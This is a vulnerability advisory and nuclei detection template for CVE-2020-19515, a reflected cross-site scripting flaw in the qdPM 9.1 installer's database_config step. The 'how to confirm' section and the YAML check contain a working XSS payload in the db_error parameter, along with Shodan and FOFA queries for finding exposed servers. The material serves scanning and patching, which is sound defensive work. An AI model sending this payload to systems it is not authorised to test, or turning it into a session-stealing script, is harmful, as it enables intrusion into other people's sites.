qdPM 9.1 - Cross-site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/>
Positive when: contains "<img src=x onerror=alert(document.domain) />" and "qdPM" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-19515 -u <target>

The full check

id: CVE-2020-19515

info:
  name: qdPM 9.1 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://topsecalphalab.github.io/CVE/qdPM9.1-Installer-Cross-Site-Scripting
    - http://qdpm.net/download-qdpm-free-project-management
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19515
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19515
    cwe-id: CWE-79
    epss-score: 0.01789
    epss-percentile: 0.78531
    cpe: cpe:2.3:a:qdpm:qdpm:9.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qdpm
    product: qdpm
    shodan-query: http.favicon.hash:762074255
    fofa-query: icon_hash=762074255
  tags: cve2020,cve,xss,qdpm,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain) />'
          - 'qdPM'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

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